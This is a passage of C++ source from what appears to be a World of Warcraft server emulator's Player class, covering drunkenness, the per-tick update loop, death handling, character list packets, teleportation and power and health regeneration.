///The player sobers by 256 every 10 seconds
void Player::HandleSobering()
{
m_drunkTimer = 0;
uint32 drunk = (m_drunk <= 256) ? 0 : (m_drunk - 256);
SetDrunkValue(drunk);
}
DrunkenState Player::GetDrunkenstateByValue(uint16 value)
{
if (value >= 23000)
return DRUNKEN_SMASHED;
if (value >= 12800)
return DRUNKEN_DRUNK;
if (value & 0xFFFE)
return DRUNKEN_TIPSY;
return DRUNKEN_SOBER;
}
void Player::SetDrunkValue(uint16 newDrunkenValue, uint32 itemId)
{
uint32 oldDrunkenState = Player::GetDrunkenstateByValue(m_drunk);
m_drunk = newDrunkenValue;
SetUInt16Value(PLAYER_BYTES_3, 0, uint16(getGender()) | (m_drunk & 0xFFFE));
uint32 newDrunkenState = Player::GetDrunkenstateByValue(m_drunk);
// special drunk invisibility detection
if (newDrunkenState >= DRUNKEN_DRUNK)
m_detectInvisibilityMask |= (1<<6);
else
m_detectInvisibilityMask &= ~(1<<6);
if (newDrunkenState == oldDrunkenState)
return;
WorldPacket data(SMSG_CROSSED_INEBRIATION_THRESHOLD, (8+4+4));
data << GetObjectGuid();
data << uint32(newDrunkenState);
data << uint32(itemId);
SendMessageToSet(&data, true);
}
void Player::Update( uint32 update_diff, uint32 p_time )
{
if(!IsInWorld())
return;
// remove failed timed Achievements
GetAchievementMgr().DoFailedTimedAchievementCriterias();
// undelivered mail
if (m_nextMailDelivereTime && m_nextMailDelivereTime <= time(NULL))
{
SendNewMail();
++unReadMails;
// It will be recalculate at mailbox open (for unReadMails important non-0 until mailbox open, it also will be recalculated)
m_nextMailDelivereTime = 0;
}
//used to implement delayed far teleports
SetCanDelayTeleport(true);
Unit::Update( update_diff, p_time );
SetCanDelayTeleport(false);
// update player only attacks
if (uint32 ranged_att = getAttackTimer(RANGED_ATTACK))
{
setAttackTimer(RANGED_ATTACK, (update_diff >= ranged_att ? 0 : ranged_att - update_diff) );
}
time_t now = time (NULL);
UpdatePvPFlag(now);
UpdateContestedPvP(update_diff);
UpdateDuelFlag(now);
CheckDuelDistance(now);
UpdateAfkReport(now);
// Update items that have just a limited lifetime
if (now>m_Last_tick)
UpdateItemDuration(uint32(now- m_Last_tick));
if (now > m_Last_tick + IN_MILLISECONDS)
UpdateSoulboundTradeItems();
if (!m_timedquests.empty())
{
QuestSet::iterator iter = m_timedquests.begin();
while (iter != m_timedquests.end())
{
QuestStatusData& q_status = mQuestStatus[*iter];
if ( q_status.m_timer <= update_diff )
{
uint32 quest_id = *iter;
++iter; // current iter will be removed in FailQuest
FailQuest(quest_id);
}
else
{
q_status.m_timer -= update_diff;
if (q_status.uState != QUEST_NEW) q_status.uState = QUEST_CHANGED;
++iter;
}
}
}
if (hasUnitState(UNIT_STAT_MELEE_ATTACKING))
{
UpdateMeleeAttackingState();
Unit *pVictim = getVictim();
if (pVictim && !IsNonMeleeSpellCasted(false))
{
Player *vOwner = pVictim->GetCharmerOrOwnerPlayerOrPlayerItself();
if (vOwner && vOwner->IsPvP() && !IsInDuelWith(vOwner))
{
UpdatePvP(true);
RemoveAurasWithInterruptFlags(AURA_INTERRUPT_FLAG_ENTER_PVP_COMBAT);
}
}
}
if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING))
{
if (roll_chance_i(3) && GetTimeInnEnter() > 0) //freeze update
{
time_t time_inn = time(NULL)-GetTimeInnEnter();
if (time_inn >= 10) //freeze update
{
float bubble = 0.125f*sWorld.getConfig(CONFIG_FLOAT_RATE_REST_INGAME);
//speed collect rest bonus (section/in hour)
SetRestBonus( float(GetRestBonus()+ time_inn*(GetUInt32Value(PLAYER_NEXT_LEVEL_XP)/72000)*bubble ));
UpdateInnerTime(time(NULL));
}
}
}
if (m_regenTimer)
{
if (update_diff >= m_regenTimer)
m_regenTimer = 0;
else
m_regenTimer -= update_diff;
}
if (m_weaponChangeTimer > 0)
{
if (update_diff >= m_weaponChangeTimer)
m_weaponChangeTimer = 0;
else
m_weaponChangeTimer -= update_diff;
}
if (m_zoneUpdateTimer > 0)
{
if (update_diff >= m_zoneUpdateTimer)
{
uint32 newzone, newarea;
GetZoneAndAreaId(newzone,newarea);
if ( m_zoneUpdateId != newzone )
UpdateZone(newzone,newarea); // also update area
else
{
// use area updates as well
// needed for free far all arenas for example
if ( m_areaUpdateId != newarea )
UpdateArea(newarea);
m_zoneUpdateTimer = ZONE_UPDATE_INTERVAL;
}
}
else
m_zoneUpdateTimer -= update_diff;
}
if (m_timeSyncTimer > 0)
{
if (update_diff >= m_timeSyncTimer)
SendTimeSync();
else
m_timeSyncTimer -= update_diff;
}
if (isAlive())
{
// if no longer casting, set regen power as soon as it is up.
if (!IsUnderLastManaUseEffect() && !HasAuraType(SPELL_AURA_STOP_NATURAL_MANA_REGEN))
SetFlag(UNIT_FIELD_FLAGS_2, UNIT_FLAG2_REGENERATE_POWER);
if (!m_regenTimer)
RegenerateAll(IsUnderLastManaUseEffect() ? REGEN_TIME_PRECISE : REGEN_TIME_FULL);
}
if (!isAlive() && !HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST) && getDeathState() != GHOULED )
SetHealth(0);
if (m_deathState == JUST_DIED)
KillPlayer();
if (m_nextSave > 0)
{
if (update_diff >= m_nextSave)
{
// m_nextSave reseted in SaveToDB call
SaveToDB();
DETAIL_LOG("Player '%s' (GUID: %u) saved", GetName(), GetGUIDLow());
}
else
m_nextSave -= update_diff;
}
//Handle Water/drowning
HandleDrowning(update_diff);
//Handle detect stealth players
if (m_DetectInvTimer > 0)
{
if (update_diff >= m_DetectInvTimer)
{
HandleStealthedUnitsDetection();
m_DetectInvTimer = 3000;
}
else
m_DetectInvTimer -= update_diff;
}
// Played time
if (now > m_Last_tick)
{
uint32 elapsed = uint32(now - m_Last_tick);
m_Played_time[PLAYED_TIME_TOTAL] += elapsed; // Total played time
m_Played_time[PLAYED_TIME_LEVEL] += elapsed; // Level played time
m_Last_tick = now;
}
if (m_drunk)
{
m_drunkTimer += update_diff;
if (m_drunkTimer > 10*IN_MILLISECONDS)
HandleSobering();
}
if (HasPendingBind())
{
if (_pendingBindTimer <= p_time)
{
BindToInstance();
SetPendingBind(NULL, 0);
}
else
_pendingBindTimer -= p_time;
}
// not auto-free ghost from body in instances
if (m_deathTimer > 0 && !GetMap()->Instanceable() && getDeathState() != GHOULED)
{
if (p_time >= m_deathTimer)
{
m_deathTimer = 0;
BuildPlayerRepop();
RepopAtGraveyard();
}
else
m_deathTimer -= p_time;
}
UpdateEnchantTime(update_diff);
UpdateHomebindTime(update_diff);
// group update
SendUpdateToOutOfRangeGroupMembers();
Pet* pet = GetPet();
if (pet && !pet->IsWithinDistInMap(this, GetMap()->GetVisibilityDistance()) && (GetCharmGuid() && (pet->GetObjectGuid() != GetCharmGuid())))
pet->Unsummon(PET_SAVE_REAGENTS, this);
if (IsHasDelayedTeleport())
TeleportTo(m_teleport_dest, m_teleport_options);
// Playerbot mod
if (!sWorld.getConfig(CONFIG_BOOL_PLAYERBOT_DISABLE))
{
if (m_playerbotAI)
m_playerbotAI->UpdateAI(p_time);
else if (m_playerbotMgr)
m_playerbotMgr->UpdateAI(p_time);
}
}
void Player::SetDeathState(DeathState s)
{
uint32 ressSpellId = 0;
bool cur = isAlive();
if (s == JUST_DIED && cur)
{
// drunken state is cleared on death
SetDrunkValue(0);
// lost combo points at any target (targeted combo points clear in Unit::SetDeathState)
ClearComboPoints();
clearResurrectRequestData();
// remove form before other mods to prevent incorrect stats calculation
RemoveSpellsCausingAura(SPELL_AURA_MOD_SHAPESHIFT);
if (Pet* pet = GetPet())
{
if (pet->isControlled())
SetTemporaryUnsummonedPetNumber(pet->GetCharmInfo()->GetPetNumber());
//FIXME: is pet dismissed at dying or releasing spirit? if second, add SetDeathState(DEAD) to HandleRepopRequestOpcode and define pet unsummon here with (s == DEAD)
RemovePet(PET_SAVE_REAGENTS);
}
// save value before aura remove in Unit::SetDeathState
ressSpellId = GetUInt32Value(PLAYER_SELF_RES_SPELL);
// passive spell
if(!ressSpellId)
ressSpellId = GetResurrectionSpellId();
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_DEATH_AT_MAP, 1);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_DEATH, 1);
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_DEATH_IN_DUNGEON, 1);
if (InstanceData* mapInstance = GetInstanceData())
mapInstance->OnPlayerDeath(this);
}
Unit::SetDeathState(s);
// restore resurrection spell id for player after aura remove
if (s == JUST_DIED && cur && ressSpellId)
SetUInt32Value(PLAYER_SELF_RES_SPELL, ressSpellId);
if (!cur && s == ALIVE)
{
_RemoveAllItemMods();
_ApplyAllItemMods();
}
if (isAlive() && !cur)
{
//clear aura case after resurrection by another way (spells will be applied before next death)
SetUInt32Value(PLAYER_SELF_RES_SPELL, 0);
// restore default warrior stance
if (getClass()== CLASS_WARRIOR)
CastSpell(this,SPELL_ID_PASSIVE_BATTLE_STANCE,true);
}
}
bool Player::BuildEnumData( QueryResult * result, WorldPacket * p_data )
{
// 0 1 2 3 4 5 6 7
// "SELECT characters.guid, characters.name, characters.race, characters.class, characters.gender, characters.playerBytes, characters.playerBytes2, characters.level, "
// 8 9 10 11 12 13 14
// "characters.zone, characters.map, characters.position_x, characters.position_y, characters.position_z, guild_member.guildid, characters.playerFlags, "
// 15 16 17 18 19 20
// "characters.at_login, character_pet.entry, character_pet.modelid, character_pet.level, characters.equipmentCache, character_declinedname.genitive "
Field *fields = result->Fetch();
uint32 guid = fields[0].GetUInt32();
uint8 pRace = fields[2].GetUInt8();
uint8 pClass = fields[3].GetUInt8();
PlayerInfo const *info = sObjectMgr.GetPlayerInfo(pRace, pClass);
if(!info)
{
sLog.outError("Player %u has incorrect race/class pair. Don't build enum.", guid);
return false;
}
*p_data << ObjectGuid(HIGHGUID_PLAYER, guid);
*p_data << fields[1].GetString(); // name
*p_data << uint8(pRace); // race
*p_data << uint8(pClass); // class
*p_data << uint8(fields[4].GetUInt8()); // gender
uint32 playerBytes = fields[5].GetUInt32();
*p_data << uint8(playerBytes); // skin
*p_data << uint8(playerBytes >> 8); // face
*p_data << uint8(playerBytes >> 16); // hair style
*p_data << uint8(playerBytes >> 24); // hair color
uint32 playerBytes2 = fields[6].GetUInt32();
*p_data << uint8(playerBytes2 & 0xFF); // facial hair
*p_data << uint8(fields[7].GetUInt8()); // level
*p_data << uint32(fields[8].GetUInt32()); // zone
*p_data << uint32(fields[9].GetUInt32()); // map
*p_data << fields[10].GetFloat(); // x
*p_data << fields[11].GetFloat(); // y
*p_data << fields[12].GetFloat(); // z
*p_data << uint32(fields[13].GetUInt32()); // guild id
uint32 char_flags = 0;
uint32 playerFlags = fields[14].GetUInt32();
uint32 atLoginFlags = fields[15].GetUInt32();
if (playerFlags & PLAYER_FLAGS_HIDE_HELM)
char_flags |= CHARACTER_FLAG_HIDE_HELM;
if (playerFlags & PLAYER_FLAGS_HIDE_CLOAK)
char_flags |= CHARACTER_FLAG_HIDE_CLOAK;
if (playerFlags & PLAYER_FLAGS_GHOST)
char_flags |= CHARACTER_FLAG_GHOST;
if (atLoginFlags & AT_LOGIN_RENAME)
char_flags |= CHARACTER_FLAG_RENAME;
if (sWorld.getConfig(CONFIG_BOOL_DECLINED_NAMES_USED))
{
if(!fields[20].GetCppString().empty())
char_flags |= CHARACTER_FLAG_DECLINED;
}
else
char_flags |= CHARACTER_FLAG_DECLINED;
*p_data << uint32(char_flags); // character flags
// character customize/faction/race change flags
if(atLoginFlags & AT_LOGIN_CUSTOMIZE)
*p_data << uint32(CHAR_CUSTOMIZE_FLAG_CUSTOMIZE);
else if(atLoginFlags & AT_LOGIN_CHANGE_FACTION)
*p_data << uint32(CHAR_CUSTOMIZE_FLAG_FACTION);
else if(atLoginFlags & AT_LOGIN_CHANGE_RACE)
*p_data << uint32(CHAR_CUSTOMIZE_FLAG_RACE);
else
*p_data << uint32(CHAR_CUSTOMIZE_FLAG_NONE);
// First login
*p_data << uint8(atLoginFlags & AT_LOGIN_FIRST ? 1 : 0);
// Pets info
{
uint32 petDisplayId = 0;
uint32 petLevel = 0;
uint32 petFamily = 0;
// show pet at selection character in character list only for non-ghost character
if (result && !(playerFlags & PLAYER_FLAGS_GHOST) && (pClass == CLASS_WARLOCK || pClass == CLASS_HUNTER || pClass == CLASS_DEATH_KNIGHT))
{
uint32 entry = fields[16].GetUInt32();
CreatureInfo const* cInfo = sCreatureStorage.LookupEntry<CreatureInfo>(entry);
if (cInfo)
{
petDisplayId = fields[17].GetUInt32();
petLevel = fields[18].GetUInt32();
petFamily = cInfo->family;
}
}
*p_data << uint32(petDisplayId);
*p_data << uint32(petLevel);
*p_data << uint32(petFamily);
}
Tokens data(fields[19].GetCppString(), ' ');
for (uint8 slot = 0; slot < EQUIPMENT_SLOT_END; slot++)
{
uint32 visualbase = slot * 2;
uint32 item_id = atoi(data[visualbase]);
const ItemPrototype * proto = ObjectMgr::GetItemPrototype(item_id);
if(!proto)
{
*p_data << uint32(0);
*p_data << uint8(0);
*p_data << uint32(0);
continue;
}
SpellItemEnchantmentEntry const *enchant = NULL;
uint32 enchants = atoi(data[visualbase + 1]);
for(uint8 enchantSlot = PERM_ENCHANTMENT_SLOT; enchantSlot <= TEMP_ENCHANTMENT_SLOT; ++enchantSlot)
{
// values stored in 2 uint16
uint32 enchantId = 0x0000FFFF & (enchants >> enchantSlot*16);
if(!enchantId)
continue;
if ((enchant = sSpellItemEnchantmentStore.LookupEntry(enchantId)))
break;
}
*p_data << uint32(proto->DisplayInfoID);
*p_data << uint8(proto->InventoryType);
*p_data << uint32(enchant ? enchant->aura_id : 0);
}
*p_data << uint32(0); // bag 1 display id
*p_data << uint8(0); // bag 1 inventory type
*p_data << uint32(0); // enchant?
*p_data << uint32(0); // bag 2 display id
*p_data << uint8(0); // bag 2 inventory type
*p_data << uint32(0); // enchant?
*p_data << uint32(0); // bag 3 display id
*p_data << uint8(0); // bag 3 inventory type
*p_data << uint32(0); // enchant?
*p_data << uint32(0); // bag 4 display id
*p_data << uint8(0); // bag 4 inventory type
*p_data << uint32(0); // enchant?
return true;
}
void Player::ToggleAFK()
{
ToggleFlag(PLAYER_FLAGS, PLAYER_FLAGS_AFK);
// afk player not allowed in battleground
if (isAFK() && InBattleGround() && !InArena())
LeaveBattleground();
}
void Player::ToggleDND()
{
ToggleFlag(PLAYER_FLAGS, PLAYER_FLAGS_DND);
}
uint8 Player::chatTag() const
{
// it's bitmask
// 0x1 - afk
// 0x2 - dnd
// 0x4 - gm
// 0x8 - ??
if (isGMChat()) // Always show GM icons if activated
return 4;
if (isAFK())
return 1;
if (isDND())
return 3;
return 0;
}
bool Player::TeleportTo(uint32 mapid, float x, float y, float z, float orientation, uint32 options)
{
if(!MapManager::IsValidMapCoord(mapid, x, y, z, orientation))
{
sLog.outError("TeleportTo: invalid map %d or absent instance template.", mapid);
return false;
}
if (GetMapId() != mapid)
{
if (!(options & TELE_TO_CHECKED))
{
if (!CheckTransferPossibility(mapid))
{
if (GetTransport())
TeleportToHomebind();
DEBUG_LOG("Player::TeleportTo %s is NOT teleported to map %u (requirements check failed)", GetName(), mapid);
return false; // normal client can't teleport to this map...
}
else
options |= TELE_TO_CHECKED;
}
DEBUG_LOG("Player::TeleportTo %s is being far teleported to map %u", GetName(), mapid);
}
else
{
DEBUG_LOG("Player::TeleportTo %s is being near teleported to map %u", GetName(), mapid);
}
// preparing unsummon pet if lost (we must get pet before teleportation or will not find it later)
Pet* pet = GetPet();
// Playerbot mod: if this user has bots, tell them to stop following master
// so they don't try to follow the master after the master teleports
if (GetPlayerbotMgr())
GetPlayerbotMgr()->Stay();
MapEntry const* mEntry = sMapStore.LookupEntry(mapid);
if(!mEntry)
{
sLog.outError("TeleportTo: invalid map entry (id %d). possible disk or memory error.", mapid);
return false;
}
// don't let enter battlegrounds without assigned battleground id (for example through areatrigger)...
// don't let gm level > 1 either
if(!InBattleGround() && mEntry->IsBattleGroundOrArena())
return false;
// client without expansion support
if (Group* grp = GetGroup())
grp->SetPlayerMap(GetObjectGuid(), mapid);
// if we were on a transport, leave
if (!(options & TELE_TO_NOT_LEAVE_TRANSPORT) && m_transport)
{
m_transport->RemovePassenger(this);
SetTransport(NULL);
m_movementInfo.ClearTransportData();
}
if (GetVehicleKit())
GetVehicleKit()->RemoveAllPassengers();
ExitVehicle();
// The player was ported to another map and looses the duel immediately.
// We have to perform this check before the teleport, otherwise the
// ObjectAccessor won't find the flag.
if (duel && GetMapId() != mapid)
if (GetMap()->GetGameObject(GetGuidValue(PLAYER_DUEL_ARBITER)))
DuelComplete(DUEL_FLED);
// reset movement flags at teleport, because player will continue move with these flags after teleport
m_movementInfo.SetMovementFlags(MOVEFLAG_NONE);
DisableSpline();
if (GetMapId() == mapid && !m_transport)
{
//lets reset far teleport flag if it wasn't reset during chained teleports
SetSemaphoreTeleportFar(false);
//setup delayed teleport flag
//if teleport spell is casted in Unit::Update() func
//then we need to delay it until update process will be finished
if (SetDelayedTeleportFlagIfCan())
{
SetSemaphoreTeleportNear(true);
//lets save teleport destination for player
m_teleport_dest = WorldLocation(mapid, x, y, z, orientation);
m_teleport_options = options;
return true;
}
if (!(options & TELE_TO_NOT_UNSUMMON_PET))
{
//same map, only remove pet if out of range for new position
if (pet && !pet->IsWithinDist3d(x, y, z, GetMap()->GetVisibilityDistance()))
UnsummonPetTemporaryIfAny();
}
if (!(options & TELE_TO_NOT_LEAVE_COMBAT))
CombatStop();
// this will be used instead of the current location in SaveToDB
m_teleport_dest = WorldLocation(mapid, x, y, z, orientation);
SetFallInformation(0, z);
// code for finish transfer called in WorldSession::HandleMovementOpcodes()
// at client packet MSG_MOVE_TELEPORT_ACK
SetSemaphoreTeleportNear(true);
// near teleport, triggering send MSG_MOVE_TELEPORT_ACK from client at landing
if(!GetSession()->PlayerLogout())
{
WorldPacket data;
BuildTeleportAckMsg(data, x, y, z, orientation);
GetSession()->SendPacket(&data);
}
}
else
{
// far teleport to another map
Map* oldmap = IsInWorld() ? GetMap() : NULL;
// check if we can enter before stopping combat / removing pet / totems / interrupting spells
// Check enter rights before map getting to avoid creating instance copy for player
// this check not dependent from map instance copy and same for all instance copies of selected map
if (!sMapMgr.CanPlayerEnter(mapid, this))
return false;
// If the map is not created, assume it is possible to enter it.
// It will be created in the WorldPortAck.
DungeonPersistentState* state = GetBoundInstanceSaveForSelfOrGroup(mapid);
Map *map = sMapMgr.FindMap(mapid, state ? state->GetInstanceId() : 0);
if (!map || map->CanEnter(this))
{
//lets reset near teleport flag if it wasn't reset during chained teleports
SetSemaphoreTeleportNear(false);
//setup delayed teleport flag
//if teleport spell is casted in Unit::Update() func
//then we need to delay it until update process will be finished
if (SetDelayedTeleportFlagIfCan())
{
SetSemaphoreTeleportFar(true);
//lets save teleport destination for player
m_teleport_dest = WorldLocation(mapid, x, y, z, orientation);
m_teleport_options = options;
return true;
}
SetSelectionGuid(ObjectGuid());
CombatStop();
ResetContestedPvP();
// remove player from battleground on far teleport (when changing maps)
if (BattleGround const* bg = GetBattleGround())
{
// Note: at battleground join battleground id set before teleport
// and we already will found "current" battleground
// just need check that this is targeted map or leave
if (bg->GetMapId() != mapid)
LeaveBattleground(false); // don't teleport to entry point
}
// remove pet on map change
UnsummonPetTemporaryIfAny();
// remove all dyn objects
RemoveAllDynObjects();
// stop spellcasting
// not attempt interrupt teleportation spell at caster teleport
if (!(options & TELE_TO_SPELL))
if (IsNonMeleeSpellCasted(true))
InterruptNonMeleeSpells(true);
//remove auras before removing from map...
RemoveAurasWithInterruptFlags(AURA_INTERRUPT_FLAG_CHANGE_MAP | AURA_INTERRUPT_FLAG_MOVE | AURA_INTERRUPT_FLAG_TURNING);
if (!GetSession()->PlayerLogout())
{
// send transfer packet to display load screen
WorldPacket data(SMSG_TRANSFER_PENDING, (4+4+4));
data << uint32(mapid);
if (m_transport)
{
data << uint32(m_transport->GetEntry());
data << uint32(GetMapId());
}
GetSession()->SendPacket(&data);
}
// remove from old map now
if (oldmap)
oldmap->Remove(this, false);
// new final coordinates
float final_x = x;
float final_y = y;
float final_z = z;
float final_o = orientation;
if (m_transport)
{
final_x += m_movementInfo.GetTransportPos()->x;
final_y += m_movementInfo.GetTransportPos()->y;
final_z += m_movementInfo.GetTransportPos()->z;
final_o += m_movementInfo.GetTransportPos()->o;
}
m_teleport_dest = WorldLocation(mapid, final_x, final_y, final_z, final_o);
SetFallInformation(0, final_z);
// if the player is saved before worldport ack (at logout for example)
// this will be used instead of the current location in SaveToDB
// move packet sent by client always after far teleport
// code for finish transfer to new map called in WorldSession::HandleMoveWorldportAckOpcode at client packet
SetSemaphoreTeleportFar(true);
if (!GetSession()->PlayerLogout())
{
// transfer finished, inform client to start load
WorldPacket data(SMSG_NEW_WORLD, (20));
data << uint32(mapid);
if (m_transport)
{
data << float(m_movementInfo.GetTransportPos()->x);
data << float(m_movementInfo.GetTransportPos()->y);
data << float(m_movementInfo.GetTransportPos()->z);
data << float(m_movementInfo.GetTransportPos()->o);
}
else
{
data << float(final_x);
data << float(final_y);
data << float(final_z);
data << float(final_o);
}
GetSession()->SendPacket( &data );
SendSavedInstances();
}
}
else
return false;
}
return true;
}
bool Player::TeleportToBGEntryPoint()
{
RemoveSpellsCausingAura(SPELL_AURA_MOUNTED);
RemoveSpellsCausingAura(SPELL_AURA_FLY);
ScheduleDelayedOperation(DELAYED_BG_MOUNT_RESTORE);
ScheduleDelayedOperation(DELAYED_BG_TAXI_RESTORE);
return TeleportTo(m_bgData.joinPos);
}
void Player::ProcessDelayedOperations()
{
if (m_DelayedOperations == 0)
return;
if (m_DelayedOperations & DELAYED_RESURRECT_PLAYER)
{
ResurrectPlayer(0.0f, false);
if (GetMaxHealth() > m_resurrectHealth)
SetHealth( m_resurrectHealth );
else
SetHealth( GetMaxHealth() );
if (GetMaxPower(POWER_MANA) > m_resurrectMana)
SetPower(POWER_MANA, m_resurrectMana );
else
SetPower(POWER_MANA, GetMaxPower(POWER_MANA) );
SetPower(POWER_RAGE, 0 );
SetPower(POWER_ENERGY, GetMaxPower(POWER_ENERGY) );
SpawnCorpseBones();
}
if (m_DelayedOperations & DELAYED_SAVE_PLAYER)
{
SaveToDB();
}
if (m_DelayedOperations & DELAYED_SPELL_CAST_DESERTER)
{
CastSpell(this, 26013, true); // Deserter
}
if (m_DelayedOperations & DELAYED_BG_MOUNT_RESTORE)
{
if (m_bgData.mountSpell)
{
CastSpell(this, m_bgData.mountSpell, true);
m_bgData.mountSpell = 0;
}
}
if (m_DelayedOperations & DELAYED_BG_TAXI_RESTORE)
{
if (m_bgData.HasTaxiPath())
{
m_taxi.AddTaxiDestination(m_bgData.taxiPath[0]);
m_taxi.AddTaxiDestination(m_bgData.taxiPath[1]);
m_bgData.ClearTaxiPath();
ContinueTaxiFlight();
}
}
//we have executed ALL delayed ops, so clear the flag
m_DelayedOperations = 0;
}
void Player::AddToWorld()
{
///- Do not add/remove the player from the object storage
///- It will crash when updating the ObjectAccessor
///- The player should only be added when logging in
Unit::AddToWorld();
for(int i = PLAYER_SLOT_START; i < PLAYER_SLOT_END; ++i)
{
if (m_items[i])
m_items[i]->AddToWorld();
}
}
void Player::RemoveFromWorld()
{
for(int i = PLAYER_SLOT_START; i < PLAYER_SLOT_END; ++i)
{
if (m_items[i])
m_items[i]->RemoveFromWorld();
}
///- Do not add/remove the player from the object storage
///- It will crash when updating the ObjectAccessor
///- The player should only be removed when logging out
if (IsInWorld())
GetCamera().ResetView();
Unit::RemoveFromWorld();
}
void Player::RewardRage( uint32 damage, uint32 weaponSpeedHitFactor, bool attacker )
{
float addRage;
float rageconversion = float((0.0091107836 * getLevel()*getLevel())+3.225598133*getLevel())+4.2652911f;
if (attacker)
{
addRage = ((damage/rageconversion*7.5f + weaponSpeedHitFactor)/2.0f);
// talent who gave more rage on attack
addRage *= 1.0f + GetTotalAuraModifier(SPELL_AURA_MOD_RAGE_FROM_DAMAGE_DEALT) / 100.0f;
}
else
{
addRage = damage/rageconversion*2.5f;
// Berserker Rage effect
if (HasAura(18499, EFFECT_INDEX_0))
addRage *= 1.3f;
}
addRage *= sWorld.getConfig(CONFIG_FLOAT_RATE_POWER_RAGE_INCOME);
ModifyPower(POWER_RAGE, uint32(addRage*10));
}
void Player::RegenerateAll(uint32 diff)
{
// Not in combat or they have regeneration
if (!isInCombat() || HasAuraType(SPELL_AURA_MOD_REGEN_DURING_COMBAT) ||
HasAuraType(SPELL_AURA_MOD_HEALTH_REGEN_IN_COMBAT) || IsPolymorphed() || m_baseHealthRegen )
{
RegenerateHealth(diff);
if (!isInCombat() && !HasAuraType(SPELL_AURA_INTERRUPT_REGEN))
{
Regenerate(POWER_RAGE, diff);
if (getClass() == CLASS_DEATH_KNIGHT)
Regenerate(POWER_RUNIC_POWER, diff);
}
}
Regenerate(POWER_ENERGY, diff);
Regenerate(POWER_MANA, diff);
if (getClass() == CLASS_DEATH_KNIGHT)
Regenerate(POWER_RUNE, diff);
m_regenTimer = IsUnderLastManaUseEffect() ? REGEN_TIME_PRECISE : REGEN_TIME_FULL;
}
// diff contains the time in milliseconds since last regen.
void Player::Regenerate(Powers power, uint32 diff)
{
uint32 curValue = GetPower(power);
uint32 maxValue = GetMaxPower(power);
float addvalue = 0.0f;
switch (power)
{
case POWER_MANA:
{
if (HasAuraType(SPELL_AURA_STOP_NATURAL_MANA_REGEN))
break;
float ManaIncreaseRate = sWorld.getConfig(CONFIG_FLOAT_RATE_POWER_MANA);
if (IsUnderLastManaUseEffect())
{
// Mangos Updates Mana in intervals of 2s, which is correct
addvalue += GetFloatValue(UNIT_FIELD_POWER_REGEN_INTERRUPTED_FLAT_MODIFIER) * ManaIncreaseRate * (float)REGEN_TIME_FULL/IN_MILLISECONDS;
}
else
{
addvalue += GetFloatValue(UNIT_FIELD_POWER_REGEN_FLAT_MODIFIER) * ManaIncreaseRate * (float)REGEN_TIME_FULL/IN_MILLISECONDS;
}
break;
}
case POWER_RAGE: // Regenerate rage
{
float RageDecreaseRate = sWorld.getConfig(CONFIG_FLOAT_RATE_POWER_RAGE_LOSS);
addvalue += 20 * RageDecreaseRate; // 2 rage by tick (= 2 seconds => 1 rage/sec)
break;
}
case POWER_ENERGY: // Regenerate energy (rogue)
{
float EnergyRate = sWorld.getConfig(CONFIG_FLOAT_RATE_POWER_ENERGY);
addvalue += 20 * EnergyRate;
break;
}
case POWER_RUNIC_POWER:
{
float RunicPowerDecreaseRate = sWorld.getConfig(CONFIG_FLOAT_RATE_POWER_RUNICPOWER_LOSS);
addvalue += 30 * RunicPowerDecreaseRate; // 3 RunicPower by tick
break;
}
case POWER_RUNE:
{
if (getClass() != CLASS_DEATH_KNIGHT)
break;
for(uint32 rune = 0; rune < MAX_RUNES; ++rune)
{
if (uint16 cd = GetRuneCooldown(rune)) // if we have cooldown, reduce it...
{
uint32 cd_diff = diff;
AuraList const& ModPowerRegenPCTAuras = GetAurasByType(SPELL_AURA_MOD_POWER_REGEN_PERCENT);
for(AuraList::const_iterator i = ModPowerRegenPCTAuras.begin(); i != ModPowerRegenPCTAuras.end(); ++i)
if ((*i)->GetModifier()->m_miscvalue == int32(power) && (*i)->GetMiscBValue()==GetCurrentRune(rune))
cd_diff = cd_diff * ((*i)->GetModifier()->m_amount + 100) / 100;
SetRuneCooldown(rune, (cd < cd_diff) ? 0 : cd - cd_diff);
// check if we don't have cooldown, need convert and that our rune wasn't already converted
if (cd < cd_diff && m_runes->IsRuneNeedsConvert(rune) && GetBaseRune(rune) == GetCurrentRune(rune))
{
// currently all delayed rune converts happen with rune death
// ConvertedBy was initialized at proc
ConvertRune(rune, RUNE_DEATH);
SetNeedConvertRune(rune, false);
}
}
else if (m_runes->IsRuneNeedsConvert(rune) && GetBaseRune(rune) == GetCurrentRune(rune))
{
// currently all delayed rune converts happen with rune death
// ConvertedBy was initialized at proc
ConvertRune(rune, RUNE_DEATH);
SetNeedConvertRune(rune, false);
}
}
break;
}
case POWER_FOCUS:
case POWER_HAPPINESS:
case POWER_HEALTH:
default:
break;
}
// Mana regen calculated in Player::UpdateManaRegen()
// Exist only for POWER_MANA, POWER_ENERGY, POWER_FOCUS auras
if (power != POWER_MANA)
{
AuraList const& ModPowerRegenPCTAuras = GetAurasByType(SPELL_AURA_MOD_POWER_REGEN_PERCENT);
for(AuraList::const_iterator i = ModPowerRegenPCTAuras.begin(); i != ModPowerRegenPCTAuras.end(); ++i)
if ((*i)->GetModifier()->m_miscvalue == int32(power))
addvalue *= ((*i)->GetModifier()->m_amount + 100) / 100.0f;
}
// addvalue computed on a 2sec basis. => update to diff time
uint32 _addvalue = ceil(fabs(addvalue * float(diff) / (float)REGEN_TIME_FULL));
if (power != POWER_RAGE && power != POWER_RUNIC_POWER)
{
curValue += _addvalue;
if (curValue > maxValue)
curValue = maxValue;
}
else
{
if (curValue <= _addvalue)
curValue = 0;
else
curValue -= _addvalue;
}
SetPower(power, curValue);
}
void Player::RegenerateHealth(uint32 diff)
{
uint32 curValue = GetHealth();
uint32 maxValue = GetMaxHealth();
if (curValue >= maxValue) return;
float HealthIncreaseRate = sWorld.getConfig(CONFIG_FLOAT_RATE_HEALTH);
float addvalue = 0.0f;
// polymorphed case
if ( IsPolymorphed() )
addvalue = (float)GetMaxHealth()/3;
// normal regen case (maybe partly in combat case)
else if (!isInCombat() || HasAuraType(SPELL_AURA_MOD_REGEN_DURING_COMBAT) )
{
addvalue = OCTRegenHPPerSpirit()* HealthIncreaseRate;
if (!isInCombat())
{
AuraList const& mModHealthRegenPct = GetAurasByType(SPELL_AURA_MOD_HEALTH_REGEN_PERCENT);
